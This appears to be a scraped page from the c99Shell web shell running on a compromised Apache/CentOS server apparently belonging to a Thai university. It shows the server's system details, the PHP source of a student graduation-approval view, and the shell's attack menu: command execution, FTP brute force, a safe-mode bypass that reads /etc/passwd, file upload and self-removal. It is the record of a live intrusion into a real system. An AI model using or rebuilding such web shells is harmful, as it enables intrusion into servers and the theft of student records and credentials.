!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addGD.php (4.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."graduate4/processGD", array("name" => "myform""id" => "myform"));?>
            <table class="szone">
                <tr>
                    <td colspan="2" align="right"><font size="1">
                    </td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">หลักสูตร</td>
                    <td><?php echo $qu_cur->row()->curName;?></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ปีการศึกษา</td>
                    <td><?php echo $adY;?></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">วันที่สำเร็จการศึกษา</td>
                    <td><?php echo fullDate($stdGraduateDate);?></font>
                    <input type="hidden" name="graduteDate" name="graduteDate" value="<?php echo splitDateForm2($stdGraduateDate,'-');//splitDateForm($finishDate, '/');?>" /></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td colspan="2"><table class="headCol">
                        <tr>
                            <th class="seqCol">เลือก</th>
                            <th class="seqCol">ลำดับที่</th>
                            <th width="15%" align="center">รหัสนักศึกษา</th>
                            <th>ชื่อ-นามสกุลนักศึกษา</th>
                            <th width="25%" align="center">สถานะ</th>
                        </tr>
<?php
            $i 
0;
            
$num_rows count($rs);
            if (
$num_rows) {
                foreach (
$rs as $key => $val) {
                    
$row_std $rs[$key]['qu_std']->row();

?>
                            <td align="center">
<?php
                            
if ($rs[$key]['flagEdit']) {
?>
                            <input type="checkbox" name="chkSs[<?php echo $i;?>]" id="chkSs[<?php echo $i;?>]" value="Y" checked />
<?php
                            
}
?>
                            </td>
                            <td align="center"><font size="2"><?php echo $key 1;?></font></td>
                            <td align="center"><font size="2"><?php echo $row_std->stdCode;?></font>
                            <input type="hidden" name="stdId[]" id="stdId[]" value="<?php echo $row_std->stdId;?>" /></td>
                            <td class="indent"><font size="2"><span class="hand" onClick="sendPost(
                            'hidform',
                            {'stdId':<?php echo $row_std->stdId;?>},
                            '<?php echo site_url($this->config->item("rg_folder").'graduate4/showDetailsRfAndDbAndLateFine');?>',
                            {})">
                            <?php echo $row_std->prefixName.$row_std->stdName.' '.$row_std->stdSurname;?></span></font></td>
                            <td align="center"><span class="<?php echo ($rs[$key]['clr']) ? "error" "";?>">
                            <?php echo $row_std->sstName;?></span></td>
                        </tr>
<?php
                $i
++;
            }
        } else {
?>
                        <tr>    
                            <td colspan="5" align="center"><font size="2" color="<?php echo $font_color_err;?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php
        
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="2" align="right">รวม <?php echo $num_rows;?> รายการ</td>
                </tr>
                <tr>
                    <td colspan="2" align="center"><br><input type="submit" name="edit" id="edit" value="บันทึก" onClick="return confirm('เมื่อกดปุ่ม OK แล้ว จะทำการอนุมัติสำเร็จการศึกษาทันที โดยที่จะไม่สามารถเปลี่ยนแปลงได้อีก\nถ้าแน่ใจ ให้กดปุ่ม OK')" <?php echo ($flagEdit_button) ? '' 'disabled';?> />
                    <input type="reset" name="cancel" id="cancel" value="ยกเลิก" onClick="location.href='<?php echo site_url().$this->config->item("rg_folder")."graduate4/showGD";?>'" />
                    <input type="hidden" name="method" id="method" value="edit" />
                    <input type="hidden" name="cnt" id="cnt" value="<?php echo $i;?>" /></td>
                </tr>                
            </table><?php echo form_close();?></div>
        <br><span class="error"><b>หมายเหตุ : </b>สถานะที่เป็นตัวสีแดง หมายถึง มีหนี้อยู่ ไม่สามารถสำเร็จการศึกษาได้</span></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0089 ]--